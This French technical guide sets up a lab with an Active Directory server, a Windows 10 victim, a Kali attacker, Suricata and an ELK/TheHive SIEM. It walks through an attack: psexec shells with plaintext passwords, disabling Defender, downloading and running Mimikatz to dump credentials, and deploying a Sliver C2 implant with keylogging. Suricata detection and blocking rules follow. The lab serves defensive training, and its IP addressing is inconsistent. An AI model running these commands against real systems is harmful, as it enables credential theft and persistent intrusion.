

CONFIGURATIONS DE CHAQUE MACHINE VIRTUELLE

Documentation technique de projet

Plan global

Le projet est constitué de 5 machines virtuelles :

- VM1 – Windows Server 2019 DC (Active Directory)
- VM2 – Windows 10 vulnérable (Victime)
- Attacker – Kali Linux (mode texte)
- VM4 – Ubuntu IDS/IPS (Suricata)
- SIEM+SO – Ubuntu (ELK Stack + TheHive)

VM1 – Windows Server 2019 DC (Active Directory)

Objectif : Serveur AD + DNS, pour que la victime fasse partie du domaine.

Étapes concrètes :

- Après l'installation de Windows Server, ouvrez le Server Manager.
- Cliquez sur Add Roles and Features.
- Sélectionnez le rôle Active Directory Domain Services (AD DS) et suivez l'assistant.
- Une fois l'installation terminée, cliquez sur le drapeau jaune et choisissez Promote this server to a domain controller.
- Sélectionnez Add a new forest et nommez votre domaine entreprise.local.
- Créez des utilisateurs de test dans Active Directory Users and Computers, par exemple user1 (simple utilisateur) et admin1 (compte d'administrateur de domaine).

VM2 – Windows 10 vulnérable (Victime)

Objectif : Machine d'un employé, jointe au domaine, avec failles potentielles.

Étapes concrètes :

- Sur la VM2, connectez-vous avec un compte local.
- Ouvrez les Paramètres système (System Settings).
- Allez dans À propos (About) et cliquez sur Renommer ce PC (avancé).
- Dans l'onglet Nom de l'ordinateur, cliquez sur Modifier et entrez le nom de votre domaine, entreprise.local.
- Entrez les identifiants d'un compte administrateur du domaine (par exemple admin1) pour l'ajouter au domaine.
- Redémarrez la machine.

Installer des applications vulnérables pour tests :

- Java ancienne version : Java 8u20 (pour tester les exploits).
- Adobe Reader ancienne version.
- Désactiver Windows Defender (pour faciliter les tests Silver C2).
- Activer Bureau à distance.

Attacker – Kali Linux (mode texte)

Cette machine est utilisée pour mener l'attaque. Elle contient tous les outils nécessaires.

Objectif : Lancer l'attaque et la post-exploitation.

Configuration :

- **Sliver C2** : Pour installer le serveur de commande et de contrôle (C2) :
`curl https://sliver.sh/install | sudo bash`
- **Mimikatz** : Exécutable Windows, à télécharger sur Kali et à transférer sur la VM2 après exploitation.
- **Nmap** : Outil de reconnaissance réseau.
`sudo apt install nmap -y`

Étapes :

1. Mettre à jour Kali

```
sudo apt update && sudo apt upgrade -y
```

2. Installer Sliver C2

```
curl https://sliver.sh/install | sudo bash
```

3. Installer les outils réseau

```
sudo apt install nmap smbclient crackmapexec -y
```

Procédure pour installer Mimikatz

- Naviguez vers la page GitHub de Benjamin Delpy (le créateur de Mimikatz) pour trouver le fichier .zip de la dernière version.
- Téléchargez le fichier avec wget :
`wget`
https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip
Décompressez l'archive :
`unzip mimikatz_trunk.zip`

Cela créera un dossier contenant les versions 32-bit (x86) et 64-bit (x64) de l'exécutable Mimikatz pour Windows.

VM4 – Ubuntu IDS/IPS (Suricata)

Cette machine a pour but de détecter et de bloquer les activités malveillantes sur votre réseau.

Objectif : Détecter l'attaque de Sliver C2.

Étapes :

1. Installer Suricata

```
sudo apt update
sudo apt upgrade
sudo apt-get install software-properties-common
sudo add-apt-repository ppa:oisf/suricata-stable
sudo apt-get update
sudo apt-get install suricata
sudo suricata-update
```

2. Configurer l'interface réseau (exemple eth0)

```
sudo nano /etc/suricata/suricata.yaml
```

Modifier cette ligne :

```
af-packet:- interface: eth0
```

3. Télécharger les règles ET Open

```
sudo suricata-update
```

SIEM+SO – Ubuntu (ELK + TheHive)

Cette machine est votre plateforme de sécurité. Elle collecte les données de détection de Suricata, les analyse, les stocke et vous permet de gérer l'incident.

Objectif : Centraliser les journaux de Suricata, les analyser (SIEM) et gérer la réponse à l'incident (SOAR).

Étapes :

1. Installer les prérequis pour Docker

```
sudo apt update  
sudo apt install docker.io docker-compose git -y
```

2. Installer et démarrer TheHive

```
git clone https://github.com/StrangeBeeCorp/docker.git  
cd docker/prod1-thehive  
bash ./scripts/init.sh  
docker compose up -d
```

3. Installer et démarrer Cortex (optionnel, mais recommandé)

```
cd ../prod2-cortex  
bash ./scripts/init.sh  
docker compose up -d
```

4. Accéder à l'interface web

Sur votre VM Ubuntu, trouvez l'adresse IP de votre machine avec la commande `ip a`.

Depuis une autre machine disposant d'un navigateur web, accédez à l'interface de TheHive :

```
http://<adresse_IP_de_votre_VM>:9000
```

Interaction entre les machines

Le déroulement du projet est le suivant : l'attaquant (Kali) utilise Sliver C2 pour attaquer la victime (VM2). L'IDS/IPS (Suricata) détecte cette activité et envoie une alerte à la VM SIEM+SO. En tant qu'analyste, vous utilisez l'interface de TheHive pour examiner l'alerte, analyser les données et planifier la réponse à l'incident.

Adresses IP du scénario :

- Attacker (Kali) : 10.10.10.2
- Victime (Windows 10) : 10.20.20.2
- IDS/IPS (Suricata) : passerelle
- SIEM/SO (TheHive) : 10.30.30.2

Phase 1 : L'Attaquant se prépare (VM Kali)

- L'attaquant démarre le serveur Sliver C2 sur la machine Kali.
- L'attaquant génère un implant Windows que la victime exécutera :

```
sliver generate --os windows --format exe --save /root/implant.exe
```

- L'attaquant transfère l'implant à la victime (par exemple, via un lien de phishing ou une vulnérabilité).

Phase 2 : L'attaque se déclenche (VM Windows 10)

- Sur la VM Windows 10, un utilisateur exécute le fichier implant.exe.
- Le processus implant.exe établit une connexion sortante vers l'adresse IP de l'attaquant.
- L'attaquant sur sa machine Kali voit une nouvelle session (un « beacon ») dans sa console Sliver C2, ce qui signifie qu'il a le contrôle de la machine Windows 10.

Phase 3 : Détection par Suricata (VM IDS/IPS)

- Suricata intercepte le trafic correspondant à une signature de C2 et génère une alerte dans eve.json.
- Exemple de log d'alerte :

```
{  
  "timestamp": "2025-08-13T12:00:00.000000+0200",  
  "event_type": "alert",  
  "alert": {  
    "signature_id": 1234567,
```

```
    "signature": "ETPRO TROJAN Win32/Sliver C2 Communication",
    "category": "trojan",
    "severity": 1,
    "src_ip": "192.168.1.20",
    "dest_ip": "192.168.1.10"
  }
}
```

Phase 4 : Analyse et réponse avec TheHive (VM SIEM/SO)

- Réception de l'alerte : **Logstash** récupère l'alerte du fichier **eve.json** et la pousse vers **Elasticsearch**. TheHive crée une alerte visible dans son interface web.
- Analyse dans TheHive :
 - Connectez-vous à <http://192.168.1.40:9000>. Vous voyez une nouvelle alerte indiquant qu'un **trojan** a communiqué entre les deux machines. Lancez des analyseurs automatiques pour confirmer que l'IP de destination est suspecte.
- Réponse à l'incident :
 - L'attaque est détectée et documentée. Créez un « cas » d'incident pour suivre la situation et assignez la tâche de bloquer l'IP de l'attaquant au pare-feu.

Configuration détaillée de chaque machine

VM1 – Windows Server 2019 DC

Objectif : Configurer un contrôleur de domaine et un DNS pour le réseau.

1. Adresse IP statique

Ouvrez : **Panneau de configuration > Centre Réseau et partage > Modifier les paramètres de la carte. Cliquez-droit sur la carte réseau > Propriétés > Protocole Internet version 4 (TCP/IPv4) > Propriétés.**

- Adresse IP : 192.168.1.5
- Masque de sous-réseau : 255.255.255.0
- Passerelle par défaut : 192.168.1.1
- Serveur DNS préféré : 127.0.0.1

2. Rôle Active Directory et DNS

- Gestionnaire de serveur > Ajouter des rôles et des fonctionnalités.
- Installer le rôle « Services de domaine Active Directory » (AD DS).
- Drapeau jaune > « Promouvoir ce serveur en contrôleur de domaine ».
- Choisir « Ajouter une nouvelle forêt » et nommer le domaine : **entreprise.local**.

Résultat attendu : Le serveur est un contrôleur de domaine et les services DNS fonctionnent.

VM2 – Windows 10 (Victime)

Objectif : Rejoindre le domaine entreprise.local.

1. Adresse IP statique

- Adresse IP : 192.168.1.10
- Masque de sous-réseau : 255.255.255.0
- Passerelle par défaut : 192.168.1.1
- Serveur DNS préféré : 192.168.1.5 (adresse du serveur AD)

2. Rejoindre le domaine

- Paramètres > Système > À propos de > Avancés > Nom de l'ordinateur.
- Cliquer sur Modifier... et entrer **entreprise.local** dans la section Membre de : Domaine.

- Entrer le nom d'utilisateur et le mot de passe d'un administrateur de domaine (ex: admin1).

Résultat attendu : La machine Windows 10 fait partie du domaine entreprise.local.

Attacker – Kali Linux (mode texte)

Objectif : Préparer l'environnement d'attaque.

1. Adresse IP statique

Modifier le fichier **/etc/network/interfaces** :

- Adresse IP : 192.168.1.20
- Masque de sous-réseau : 255.255.255.0
- Passerelle par défaut : 192.168.1.1

2. Préparation des outils

Mimikatz :

```
wget https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip
unzip mimikatz_trunk.zip
```

Sliver :

```
sliver http --lhost 192.168.1.20 --port 80
```

Résultat attendu : La machine est prête à lancer les attaques.

VM IDS/IPS – Ubuntu (Suricata)

Objectif : Configurer Suricata pour détecter les menaces sur le réseau interne.

1. Adresse IP statique

- Adresse IP : 192.168.1.30
- Masque de sous-réseau : 255.255.255.0
- Passerelle par défaut : 192.168.1.1

2. Configuration de Suricata

Ouvrir le fichier de configuration :

```
sudo nano /etc/suricata/suricata.yaml
```

Modifier les variables réseau :

```
vars: home-net: "[192.168.1.0/24]" external-net:
"!$HOME_NET"
```

Résultat attendu : Suricata démarrera sans erreur et sera en mesure de générer des alertes.

VM SIEM+SO – Ubuntu (ELK + TheHive)

Objectif : Configurer la pile ELK et TheHive pour recevoir les alertes de Suricata.

1. Adresse IP statique

- Adresse IP : 192.168.1.40
- Masque de sous-réseau : 255.255.255.0
- Passerelle par défaut : 192.168.1.1

2. Configuration des services

Configurer Filebeat ou Logstash sur la VM SIEM pour lire le fichier de logs de Suricata sur la VM IDS/IPS, puis envoyer les données à Elasticsearch.

Résultat attendu : TheHive reçoit et affiche les alertes de Suricata dans son interface web.

Topologie du projet et configuration des interfaces

Configuration des adaptateurs réseau

- **Kali Attaquant** : Un seul adaptateur en mode Réseau interne, nom : reseau-attaquant
- **Windows Server et Windows 10** : Un seul adaptateur en mode Réseau interne, nom : reseau-cible
- **SIEM** : Un seul adaptateur en mode Réseau interne, nom : reseau-gestion
- **IDS/IPS** :
 - enp0s8 — reseau-attaquant [10.10.10.0/24]
 - enp0s9 — reseau-cible [10.20.20.0/24]
 - enp0s10 — reseau-gestion [10.30.30.0/24]

Configuration IDS/IPS

Fichier : /etc/netplan/50-cloud-init.yaml

```
network:
  version: 2
  renderer: networkd
  ethernets:
    enp0s8: # Reseau-attaquant
      addresses: [10.10.10.1/24]
      dhcp4: false
    enp0s9: # Reseau-cible
      addresses: [10.20.20.1/24]
      dhcp4: false
    enp0s10: # Reseau-gestion
      addresses: [10.30.30.1/24]
      dhcp4: false
```

Activation du forwarding IP :

```
sudo nano /etc/sysctl.conf
```

Décommenter la ligne : net.ipv4.ip_forward=1

```
sudo sysctl -p
sudo netplan apply
```

Configuration SIEM

Fichier : /etc/netplan/50-cloud-init.yaml

```
network:
  version: 2
```

```
renderer: networkd
ethernets:
  enp0s8: # Reseau-gestion
    addresses: [10.30.30.2/24]
    dhcp4: false
    nameservers:
      addresses: [8.8.8.8, 8.8.8.4]
    routes:
      - to: default
        via: 10.30.30.1
sudo netplan apply
```

Configuration Kali

Fichier : /etc/network/interfaces

```
auto eth1
iface eth1 inet static
  address 10.10.10.2
  netmask 255.255.255.0
  gateway 10.10.10.1
  dns-nameservers 8.8.8.8 8.8.8.4
sudo systemctl restart networking
```

Configuration Windows Server et Windows 10

- Adresse IP Windows Server : 10.20.20.2
- Adresse IP Windows 10 : 10.20.20.3
- Masque de sous-réseau : 255.255.255.0
- Passerelle par défaut : 10.20.20.1
- Serveur DNS préféré : 10.20.20.1

Configuration de la table de routage Windows (si nécessaire)

Afficher la table de routage :

```
route print
```

Réinitialiser et ajouter les routes :

```
route delete
route -p add 10.10.10.0 mask 255.255.255.0 10.20.20.1
route -p add 10.30.30.0 mask 255.255.255.0 10.20.20.1
```

Configuration de Kali (Attaquant)

Le but de la machine Kali est d'utiliser Mimikatz pour voler des identifiants et Sliver C2 pour maintenir un accès à long terme au réseau.

1. Préparation de Kali

Vérifier la connectivité :

```
ping 192.168.1.5    # vers le serveur
ping 192.168.1.10   # vers Windows 10
```

Installer les outils nécessaires :

```
sudo apt install nmap smbclient impacket-scripts -y
curl https://sliver.sh/install | sudo bash
```

Préparer Mimikatz :

```
wget https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip
unzip mimikatz_trunk.zip
```

2. Phase de reconnaissance et d'accès initial

Reconnaissance avec Nmap :

```
nmap -p 445 --script smb-enum-users 192.168.1.5
```

Cette commande liste les utilisateurs du domaine à partir du service SMB du serveur.

Connexion avec smbclient :

```
smbclient -L //192.168.1.5 -U 'ENTREPRISE\Administrateur'
```

3. Phase d'exploitation : Obtenir un shell

Obtention d'un shell sur le serveur Windows :

```
impacket-psexec 'Administrateur'@192.168.1.5
```

Mouvement latéral vers Windows 10 :

```
impacket-psexec 'Administrateur'@192.168.1.10
```

Password : Artidame01

4. Phase de post-exploitation — Transfert et exécution de Mimikatz

Ouvrir 2 terminaux avec Alt+F1 ou Alt+F2.

1er Terminal — Lancer le serveur HTTP depuis le répertoire contenant mimikatz.exe (home/alex/x64) :

```
python3 -m http.server 8000
```

2ème Terminal — Se connecter via psexec :

```
impacket-psexec 'Administrateur'@10.20.20.3  
# Password : Artidame01  
# Puis ouvrir PowerShell :  
powershell
```

Désactiver temporairement Microsoft Defender :

```
Set-MpPreference -DisableRealtimeMonitoring $true
```

Téléverser Mimikatz sur la cible :

```
powershell -Command "Invoke-WebRequest -Uri  
http://192.168.1.50:8000/mimikatz.exe -OutFile  
C:\Users\Public\mimikatz.exe"
```

Vérifier le téléversement :

```
dir C:\Users\Public\
```

Exécuter Mimikatz :

```
C:\Users\Public\mimikatz.exe
```

Commandes Mimikatz :

1. Augmenter les privilèges :

```
privilege::debug
```

2. Extraire les mots de passe :

```
sekurlsa::logonpasswords
```

Sliver C2

Objectif : Sliver C2 est un outil de Command and Control (C2). Son rôle est de maintenir une connexion à long terme, chiffrée et discrète avec la machine Windows compromise.

- Alors que **psexec** fournit un accès direct et temporaire, **Sliver C2** permet d'établir un implant persistant sur la machine cible.
- C'est l'équivalent d'une porte dérobée accessible à tout moment et de manière furtive, même après redémarrage.
- L'utilisation de **Sliver C2** dans ce laboratoire sert à évaluer si l'IDS (Suricata) peut détecter ce trafic.

Lancer la console Sliver

```
/root/sliver-server # pour lancer l'interpréteur de commande sliver  
/usr/local/bin/sliver # ou sliver-client
```

Désactiver le pare-feu (avant de lancer Sliver) :

```
apt install ufw -y  
ufw disable
```

Modifier les interfaces réseau si nécessaire :

```
sudo nano /etc/network/interfaces  
sudo /etc/init.d/networking restart
```

Générer l'implant

```
sliver > generate --mtls 10.10.10.2 --save  
/home/alex/x64/implant1.exe --os windows --format exe
```

ou

```
sliver > generate --http http://10.10.10.2:8081 --save  
/home/alex/x64/implant2.exe --arch amd64 --os windows --format exe
```

Transférer l'implant vers la machine cible

Étape 1 — Lancer le serveur HTTP :

```
python3 -m http.server 8000
```

Étape 2 — Ouvrir une 2ème terminale et se connecter via psexec :

```
impacket-psexec 'Administrateur'@10.10.10.2  
# Password : Artidame01  
powershell
```



```
powershell -Command "Invoke-WebRequest -Uri  
http://10.10.10.2:8000/implant2.exe -OutFile  
C:\Users\Public\implant1.exe"
```

Lancer l'écoute Sliver

Sur la machine cible, exécuter l'implant :

```
C:\Users\Public\implant2.exe
```

Dans l'interpréteur Sliver, lancer l'écoute :

```
mtls --lhost 10.10.10.2  
http --lhost 10.10.10.2 --lport 8081
```

Message de succès attendu :

```
session 173d23445 PALE_TEATH - 10.10.10.2 (DESKTOP-SV61VDG) -  
windows/amd64 - Sat 16 Aug 2025 13:40:54
```

Commandes Sliver — Fichiers et répertoires

```
[server] sliver (PALE_TEATH) > ls                # Lister le contenu du  
répertoire  
[server] sliver (PALE_TEATH) > cd C:\Users      # Changer de répertoire  
[server] sliver (PALE_TEATH) > pwd              # Afficher le répertoire  
courant  
[server] sliver (PALE_TEATH) > download Teste.txt  
[server] sliver (PALE_TEATH) > upload Fichier.exe C:\temp  
[server] sliver (PALE_TEATH) > rm Fichier.txt
```

Commandes Sliver — Exécution

```
[server] sliver (PALE_TEATH) > shell              # Ouvrir un  
shell  
[server] sliver (PALE_TEATH) > execute notepad.exe # Exécuter un  
programme  
[server] sliver (PALE_TEATH) > ps                # Lister les  
processus actifs  
[server] sliver (PALE_TEATH) > kill 1234         # Tuer un  
processus
```

Commandes Sliver — Surveillance et post-exploitation

```
screenshot    # Capture l'écran de la victime  
keylog        # Démarre le keylogger  
keylog --stop # Arrête le keylogger  
clipboard     # Récupère le contenu du presse-papier  
help          # Liste toutes les commandes disponibles
```

Configuration de la machine IDS/IPS et SIEM

Rappel des objectifs

IDS (Intrusion Detection System)

- Observe le trafic réseau ou les logs et signale une activité suspecte.
- Détecte mais ne bloque pas.

Exemple : Si Sliver est lancé en HTTP, Suricata peut alerter « Connection HTTP suspecte vers 10.10.10.2:8081 ».

IPS (Intrusion Prevention System)

- Comme l'IDS, mais bloque en plus l'intrusion en temps réel.
- Est actif car il détecte et réagit en même temps.

SIEM (Security Information and Event Management)

- Plateforme centrale qui collecte et corrèle tous les logs de sécurité (Windows, IDS/IPS, firewall, applications).

Mode IDS

Configurer l'interface :

```
sudo ip link set enp0s8 up
sudo ip addr add 192.168.1.60/24 dev enp0s8
ip a
```

Configurer Suricata pour toutes les interfaces :

Fichier : /etc/suricata/suricata.yaml

```
vars:
  address-groups:
    HOME_NET: "[192.168.0.0/16, 10.0.0.0/8, 172.16.0.0/12]"
    EXTERNAL_NET: "!$HOME_NET"
  af-packet:
    - interface: enp0s8
      threads: auto
      cluster-id: 99
      cluster-type: cluster_flow
      defrag: yes
      tpacket-v3: yes

systemctl restart suricata
systemctl status suricata
```

Créer les règles locales :

Fichier : /var/lib/suricata/rules/local.rules

```
alert icmp $HOME_NET any -> $HOME_NET any (msg:"ICMP test detected";
sid:1000001; rev:1;)
alert http any any -> 10.10.10.2 8081 (msg:"Possible C2 HTTP
connection to kali attacker"; sid:1000003; rev:1;)
```

Lancer l'écoute en mode IDS :

```
tail -f /var/lib/suricata/eve.json | jq 'select(.event_type ==
"http") | {src: .src_ip, host: .http.hostname, url: .http.url, ua:
.http.http_user_agent}'
```

Résultat obtenu :

```
{
  "src": "10.20.20.3",
  "host": "10.10.10.2",
  "url": "/scripts/umd/js/bundles/umd/jquery.min.js?y=39725513",
  "ua": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit..."
}
```

Vérifier la syntaxe et lancer Suricata manuellement :

```
sudo suricata -T -c /etc/suricata/suricata.yaml
sudo suricata -c /etc/suricata/suricata.yaml -s
/var/lib/suricata/rules/c2.rules -i enp0s8 -i enp0s9
```

Surveiller les logs :

```
tail -f /var/log/suricata/fast.log
cat /var/log/suricata/fast.log
```

Mode IPS

1. Configurer /etc/suricata/suricata.yaml :

```
nfq:
  mode: accept
  repeat-mark: 1
  repeat-mask: 1
  fail-open: yes
```

2. Ajouter la règle de blocage dans /var/lib/suricata/rules/c2.rules :

```
drop tcp any any -> 10.10.10.2 8081 (msg:"BLOCKED: C2 Connection to
port 8081"; sid:1000001; rev:1;)
```

3. Configuration iptables pour le mode IPS :

```
sudo iptables -I FORWARD -p tcp --dport 8081 -j NFQUEUE --queue-
bypass
```

4. Arrêt total de Suricata avant de le lancer en mode IPS :

```
sudo systemctl stop suricata
sudo pkill -f suricata
sudo rm -f /var/run/suricata.pid
sudo suricata -c /etc/suricata/suricata.yaml -q 0 -D
```

5. Vérification du fonctionnement :

```
tail -f /var/log/suricata/fast.log
```

6. Test de blocage :

Essayer de connecter Kali (attaquant) vers le Silver C2 implanté sur Windows.

7. Arrêter temporairement l'IPS :

```
sudo systemctl stop suricata
sudo systemctl restart suricata
sudo systemctl status suricata
```

Configuration du SIEM

Composants installés : Elasticsearch, TheHive, Kibana, Filebeat.

1. Vérifier Elasticsearch

```
curl -I http://localhost:9200
```

Résultat attendu : HTTP/1.1 200 OK

```
sudo systemctl status elasticsearch
sudo systemctl restart elasticsearch
sudo systemctl enable elasticsearch
```

2. Vérifier Kibana

```
curl -I http://localhost:5601
```

Résultat attendu : HTTP/1.1 200 OK

```
sudo systemctl status kibana
sudo systemctl restart kibana
sudo systemctl enable kibana
```

Vérifier le port :

```
ss -ltnp | grep 5601
```

Configuration de Kibana — /etc/kibana/kibana.yml :

```
server.port: 5601
server.host: '0.0.0.0'
elasticsearch.hosts: ["http://10.30.30.2:9200"]
elasticsearch.username: "kibana_system"
elasticsearch.password: "mot_de_passe"
systemctl restart kibana
```

3. Configuration des comptes Elastic et Kibana

Réinitialiser le mot de passe de elastic :

```
sudo /usr/share/elasticsearch/bin/elasticsearch-reset-password -u
elastic
```

Réinitialiser le mot de passe de kibana :

```
sudo /usr/share/elasticsearch/bin/elasticsearch-reset-password -u
kibana_system
```

4. Configuration de Filebeat sur IDS/IPS

Fichier : /etc/filebeat/filebeat.yml

```
sudo filebeat modules enable suricata
filebeat.inputs:
  - type: log
    paths:
      - /var/log/suricata/eve.json
output.elasticsearch:
  hosts: ["http://10.30.30.2:9200"]
  username: "elastic"
  password: "artidame"
```

Tester la connexion :

```
sudo filebeat test output
```

Résultat attendu : Connection to Elasticsearch was successful

```
sudo systemctl restart filebeat
sudo systemctl enable filebeat
```

Vérifier les index sur le SIEM :

```
curl -u elastic:artidame http://10.30.30.2:9200/\_cat/indices?v
```

5. Configuration Data View / Dashboard Kibana

- Stack Management > Data Views > Create data view
- Index pattern : filebeat-*
- Timestamp field : @timestamp

Résultat : 2 sources devraient apparaître si Filebeat a créé des index.

6. Vérifier les logs et tests

```
sudo tail -f /var/log/suricata/eve.json
```